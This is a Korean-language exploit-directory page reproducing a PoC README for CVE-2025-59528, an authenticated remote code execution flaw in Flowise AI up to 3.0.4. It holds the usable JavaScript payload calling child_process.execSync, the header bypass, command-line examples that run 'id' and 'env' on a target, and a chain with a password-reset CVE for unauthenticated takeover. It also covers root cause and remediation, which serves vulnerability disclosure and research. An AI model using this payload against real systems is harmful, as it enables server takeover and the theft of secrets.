Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Flowise-RCE-CVE-2025-59528 — Flowise AI ≤ 3.0.4 버전에 대한 인증된 원격 코드 실행(RCE) 익스플로잇입니다. /api/v1/node-load-method/customMCP 엔드포인트의 취약점을 활용하여 Node.js child_process.execSync()를 통해 임의의 시스템 명령을 실행합니다. 전체 PoC 스크립트와 해결 절차를 포함합니다. | Kitploit
도구/GitHubGitHub/r3nsi15/flowise-rce-cve-2025-59528
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationPayload Development
GitHubr3nsi15/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

Flowise AI ≤ 3.0.4 버전에 대한 인증된 원격 코드 실행(RCE) 익스플로잇입니다. /api/v1/node-load-method/customMCP 엔드포인트의 취약점을 활용하여 Node.js child_process.execSync()를 통해 임의의 시스템 명령을 실행합니다. 전체 PoC 스크립트와 해결 절차를 포함합니다.

저장소 보기
114개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-59528 — Flowise AI 인증된 원격 코드 실행 (RCE)

개요

CVE ID: CVE-2025-59528
영향받는 소프트웨어: Flowise AI
취약한 버전: <= 3.0.4
수정 버전: 3.0.5 이상
심각도: Critical
작성자: r3nsi15
날짜: 2025

설명

Flowise AI 3.0.4 이하 버전에서는 인증된 사용자가 /api/v1/node-load-method/customMCP 엔드포인트에 조작된 JavaScript 페이로드를 전송하여 호스트 서버에서 **원격 코드 실행(RCE)**을 달성할 수 있습니다.

customMCP 노드의 로드 메서드는 사용자 제어 입력을 적절한 검증(sanitization)이나 샌드박싱 없이 서버 측에서 JavaScript로 평가합니다. Node.js의 child_process.execSync를 활용하는 페이로드를 주입함으로써 공격자는 Flowise 서버 프로세스의 권한으로 임의의 운영 체제 명령을 실행할 수 있습니다.

또한 해당 엔드포인트는 x-request-from: internal 헤더가 있어야 합니다.

영향받는 엔드포인트

엔드포인트메서드인증 필요용도
/api/v1/auth/loginPOST아니요인증 및 세션 획득
/api/v1/node-load-method/customMCPPOST예 (세션 쿠키)취약한 노드 로드 메서드 엔드포인트

개념 증명

파일: CVE-2025-59528_POC.py

요구 사항

  • Python 3.x
  • requests 라이브러리
  • 대상 Flowise 인스턴스의 모든 사용자 계정에 대한 유효한 자격 증명
root@kitploit:~
pip install requests

사용법

root@kitploit:~
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

인자

플래그긴 형식필수설명
-e--email예인증된 사용자의 이메일 주소
-i--url예Flowise 인스턴스의 기본 URL
-p--password예인증된 사용자의 비밀번호
-c--cmd예서버에서 실행할 OS 명령

예시

코드 실행 확인:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

서버 환경 변수 검색:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

예상 출력

root@kitploit:~
[+] Logged in
[+] Exploit sent
[+] Status: 200

페이로드 분석

이 익스플로잇은 다음 JavaScript 표현식을 mcpServerConfig 필드에 주입합니다:

root@kitploit:~
({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') — Node.js의 내장 프로세스 실행 모듈을 로드합니다.
  • execSync('<command>') — 공격자가 제공한 OS 명령을 동기적으로 실행합니다.
  • 전체 표현식은 객체 리터럴로 감싸여 서버의 JavaScript 컨텍스트에서 깔끔하게 평가되도록 합니다.

또한 x-request-from: internal 헤더가 요청에 추가되어, 그렇지 않으면 호출을 차단하는 내부 출처 검사를 통과합니다.

근본 원인

customMCP 엔드포인트는 사용자 제공 입력을 검증이나 샌드박싱 없이 서버의 JavaScript 평가 컨텍스트에 직접 전달합니다. 여기에 process.mainModule.require를 통한 Node.js 핵심 모듈(특히 child_process)에 대한 무제한 접근이 결합되어, 손쉽게 악용 가능한 RCE 경로가 생성됩니다. x-request-from 헤더 검사는 신뢰할 수 있는 소스에 대해 검증되지 않으므로 의미 있는 보안 경계를 제공하지 못합니다.

CVE-2025-58434와의 연계

이 두 취약점은 <= 3.0.4 버전을 실행하는 Flowise 인스턴스에 대해 인증되지 않은 RCE 공격 경로로 연계될 수 있습니다:

  1. CVE-2025-58434를 사용하여 알려진 계정의 비밀번호를 재설정합니다(사전 인증 불필요).
  2. 새로 설정된 자격 증명으로 로그인합니다.
  3. CVE-2025-59528을 사용하여 서버에서 임의의 OS 명령을 실행합니다.

해결 방안

  • 취약한 평가 경로를 제거하거나 적절히 샌드박싱한 Flowise AI 3.0.5 이상으로 업그레이드합니다.
  • 서버 측 컨텍스트에서 사용자 제어 문자열을 코드로 평가하지 마십시오.
  • 적절한 샌드박스(예: vm2, 격리된 컨텍스트, 또는 process.mainModule 접근 제거)를 통해 위험한 Node.js 모듈(child_process, fs 등)에 대한 접근을 제한합니다.
  • 단순한 문자열 검사가 아닌 서버 측 메커니즘을 통해 x-request-from 헤더를 검증하고 인증합니다.
  • Flowise 서버 프로세스에 최소 권한 원칙을 적용합니다.

면책 조항

이 개념 증명은 교육 및 공인된 보안 연구 목적으로만 제공됩니다. 명시적인 서면 허가 없이 시스템에 이 스크립트를 사용하는 것은 불법이며 비윤리적입니다. 작성자와 기여자는 오용에 대해 어떠한 책임도 지지 않습니다.

도구 다운로드